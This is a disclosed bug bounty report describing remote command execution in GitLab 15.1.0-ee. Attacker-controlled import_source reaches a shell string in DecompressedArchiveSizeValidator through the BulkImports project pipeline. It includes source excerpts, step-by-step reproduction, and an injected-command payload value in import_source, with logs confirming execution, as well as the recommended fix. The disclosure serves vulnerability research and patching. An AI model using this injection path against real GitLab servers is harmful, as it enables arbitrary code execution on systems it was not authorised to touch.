Loading HuntDB...

RCE via the DecompressedArchiveSizeValidator and Project BulkImports (behind feature flag)

Critical
G
GitLab
Submitted None
Reported by vakzz

Vulnerability Details

Technical details and impact analysis

Command Injection - Generic
### Summary The `DecompressedArchiveSizeValidator` is used to check the size of a archive before extracting it: https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/lib/gitlab/import_export/decompressed_archive_size_validator.rb#L82 ```ruby def command "gzip -dc #{@archive_path} | wc -c" end def validate pgrp = nil valid_archive = true Timeout.timeout(TIMEOUT_LIMIT) do stdin, stdout, stderr, wait_thr = Open3.popen3(command, pgroup: true) stdin.close ``` Since `command` is a string and passed directly to `Open3.popen3` it will be interpreted as a shell command, so if `archive_path` contains any special characters it can be used to run arbitrary commands. One of the places that the `DecompressedArchiveSizeValidator` is used is in the [Gitlab::ImportExport::FileImporter](https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/lib/gitlab/import_export/file_importer.rb#L110), ```ruby def size_validator @size_validator ||= DecompressedArchiveSizeValidator.new(archive_path: @archive_file) end ``` It gets `@archive_file` from the constructor, and is used by the [Gitlab::ImportExport::Importer](https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/lib/gitlab/import_export/importer.rb#L48) which gets it from `project.import_source`. Under normal circumstances `import_source` is nil and is generated by the `FileImporter` using `@archive_file = File.join(@shared.archive_path, Gitlab::ImportExport.export_filename(exportable: @importable))`. Most of the places I've checked do not allow you to set the `import_source` for a project, or have the `import_type` set to something other than `gitlab_project` or `gitlab_custom_project_template` (which is required to use the `::Gitlab::ImportExport::Importer`). There is one place though, in the `BulkImports::Projects::Pipelines::ProjectPipeline`. Luckily this is disabled by default as it requires the `bulk_import_projects` feature to be enabled. If/once this feature is enabled, it's possible to trigger the above flow. This is possible as the two transformer on the `ProjectPipeline` are `:BulkImports::Common::Transformers::ProhibitedAttributesTransformer` and `::BulkImports::Projects::Transformers::ProjectAttributesTransformer`, which first removes a list of prohibited keys: ```ruby PROHIBITED_REFERENCES = Regexp.union( /\Acached_markdown_version\Z/, /\Aid\Z/, /_id\Z/, /_ids\Z/, /_html\Z/, /attributes/, /\Aremote_\w+_(url|urls|request_header)\Z/ # carrierwave automatically creates these attribute methods for uploads ).freeze ``` And then sets a few other values: ```ruby entity = context.entity visibility = data.delete('visibility') data['name'] = entity.destination_name data['path'] = entity.destination_name.parameterize data['import_type'] = PROJECT_IMPORT_TYPE data['visibility_level'] = Gitlab::VisibilityLevel.string_options[visibility] if visibility.present? data['namespace_id'] = Namespace.find_by_full_path(entity.destination_namespace)&.id if entity.destination_namespace.present? data.transform_keys!(&:to_sym) ``` All of the other params are allowed and passed directly into `project = ::Projects::CreateService.new(context.current_user, data).execute`. The first thing the create service does its to check if it's creating from a template, and if so the `CreateFromTemplateService` is used instead: https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/app/services/projects/create_service.rb#L25-27 ```ruby def execute if create_from_template? return ::Projects::CreateFromTemplateService.new(current_user, params).execute end # ... end def create_from_template? @params[:template_name].present? || @params[:template_project_id].present? end ``` Since we control all of the params, this path can be triggered by setting `template_name` to a valid template such as `rails`. This then uses the `GitlabProjectsImportService` which allows the `import_type` to be changed from `gitlab_project_migration` to `gitlab_project`. https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/app/services/projects/gitlab_projects_import_service.rb#L61-76 ```ruby def prepare_import_params data = {} data[:override_params] = @override_params if @override_params if overwrite_project? data[:original_path] = params[:path] params[:path] += "-#{tmp_filename}" end if template_file data[:sample_data] = params.delete(:sample_data) if params.key?(:sample_data) params[:import_type] = 'gitlab_project' end params[:import_data] = { blocked: data } if data.present? end ``` The `Projects::CreateService` service is then called again with the updated `import_type`, but the rest of our params the same. This causes the `import_schedule` to happen as `@project.gitlab_project_migration?` is no longer true https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/app/services/projects/create_service.rb#L276-282 ```ruby def import_schedule if @project.errors.empty? @project.import_state.schedule if @project.import? && [email protected]_repository_import? && [email protected]_project_migration? else fail(error: @project.errors.full_messages.join(', ')) end end ``` If a custom `import_source` was used, it will be used as the `@archive_file` for the `Gitlab::ImportExport::FileImporter`. After `wait_for_archived_file` has reached `MAX_RETRIES` (it continues instead of failing) then `validate_decompressed_archive_size` will be called and then `Open3.popen3` with a controllable string. https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/lib/gitlab/import_export/file_importer.rb#L45 ```ruby wait_for_archived_file do validate_decompressed_archive_size if Feature.enabled?(:validate_import_decompressed_archive_size) decompress_archive end def wait_for_archived_file MAX_RETRIES.times do |retry_number| break if File.exist?(@archive_file) sleep(2**retry_number) end yield end ``` ### Steps to reproduce 1. spin up a gitlab instance 1. ssh in and enable bulk project imports with from a rails console: `sudo gitlab-rails console` then `::Feature.enable(:bulk_import_projects)` 1. start watching the logs with `sudo gitlab-ctl tail` 1. create an api token 1. create a new group 1. create a new project in that group 1. download {F1785226} and change `PROJECT_PATH` to the full path of the project above and `PROJECT_ID` to its id 1. change `"import_source":"/tmp/ggg;echo lala|tee /tmp/1234;#",` to be your custom command (it cannot contain `>` as json will convert it to `\u003c`) 1. (optional) remove `proxies={"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}` if you are not using burp/another proxy 1. run it with `FLASK_APP=api_project_ql.py flask run` 1. start ngrok with `ngrok http 5000` 1. go to new group -> import group 1. enter the ngrok http address and your token from above in the `Import groups from another instance of GitLab` section 1. select the group created above, change the parent to `No parent` and choose a new group name 1. hit import 1. you should see requests being made, then after the project is imported and the `wait_for_archived_file` has timed out (takes a few minutes) you should see something like following error in the logs and the payload will execute: ``` command exited with error code 2: tar (child): /tmp/ggg;echo lala|tee /tmp/1234;#: Cannot open: No such file or directory tar (child): Error is not recoverable: exiting now tar: Child returned status 2 tar: Error is not recoverable: exiting now ``` ```bash vagrant@gitlab:~$ cat /tmp/1234 lala vagrant@gitlab:~$ ``` ### Impact If the `bulk_import_projects` feature is enabled, allows an attacker to execute arbitrary commands on a gitlab server ### What is the current *bug* behavior? * The `DecompressedArchiveSizeValidator` passes a string to `popen` that can contain attacker controlled data * The `ProjectPipeline` does not correctly filter the project params ### What is the expected *correct* behavior? * The `DecompressedArchiveSizeValidator` should use `Gitlab::Popen` and the command should be an array of strings * The `ProjectPipeline` should use the `Gitlab::ImportExport::AttributeCleaner` or just have a whitelist of allowed params ### Relevant logs and/or screenshots ```json { "severity": "ERROR", "time": "2022-06-23T01:52:57.556Z", "correlation_id": "0d72e54e82938b4b82aa3dcafe6c4dfe", "exception.class": "Gitlab::ImportExport::Error", "exception.message": "command exited with error code 2: tar (child): /tmp/ggg;echo lala|tee /tmp/1234;#: Cannot open: No such file or directory\ntar (child): Error is not recoverable: exiting now\ntar: Child returned status 2\ntar: Error is not recoverable: exiting now", "user.username": "vakzz", "tags.program": "sidekiq", "tags.locale": "en", "tags.feature_category": "importers", "tags.correlation_id": "0d72e54e82938b4b82aa3dcafe6c4dfe", "extra.sidekiq": { "retry": false, "queue": "repository_import", "version": 0, "backtrace": 5, "dead": false, "status_expiration": 86400, "memory_killer_memory_growth_kb": 50, "memory_killer_max_memory_growth_kb": 300000, "args": [ "31" ], "class": "RepositoryImportWorker", "jid": "9d28590a58ec7db944453edc", "created_at": 1655948922.4369478, "correlation_id": "0d72e54e82938b4b82aa3dcafe6c4dfe", "meta.user": "vakzz", "meta.client_id": "user/2", "meta.caller_id": "BulkImports::PipelineWorker", "meta.remote_ip": "192.168.0.144", "meta.feature_category": "importers", "meta.root_caller_id": "Import::BulkImportsController#create", "meta.project": "imported_13/export_project", "meta.root_namespace": "imported_13", "worker_data_consistency": "always", "idempotency_key": "resque:gitlab:duplicate:repository_import:e64a87ccd733ff3c9b12cd20d98ea1d44a21196e9d0398c0af668ee84bf77358", "size_limiter": "validated", "enqueued_at": 1655948922.442958 }, "extra.importer": "Import/Export", "extra.exportable_id": 31, "extra.exportable_path": "imported_13/export_project", "extra.import_jid": null } ``` ### Output of checks #### Results of GitLab environment info ``` System information System: Ubuntu 20.04 Proxy: no Current User: git Using RVM: no Ruby Version: 2.7.5p203 Gem Version: 3.1.4 Bundler Version:2.3.15 Rake Version: 13.0.6 Redis Version: 6.2.7 Sidekiq Version:6.4.0 Go Version: unknown GitLab information Version: 15.1.0-ee Revision: 31c24d2d864 Directory: /opt/gitlab/embedded/service/gitlab-rails DB Adapter: PostgreSQL DB Version: 12.10 URL: http://gitlab.wbowling.info HTTP Clone URL: http://gitlab.wbowling.info/some-group/some-project.git SSH Clone URL: [email protected]:some-group/some-project.git Elasticsearch: no Geo: no Using LDAP: no Using Omniauth: yes Omniauth Providers: GitLab Shell Version: 14.7.4 Repository storage paths: - default: /var/opt/gitlab/git-data/repositories GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell ``` ## Impact If the `bulk_import_projects` feature is enabled, allows an attacker to execute arbitrary commands on a gitlab server.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Bounty

$33510.00

Submitted

Weakness

Command Injection - Generic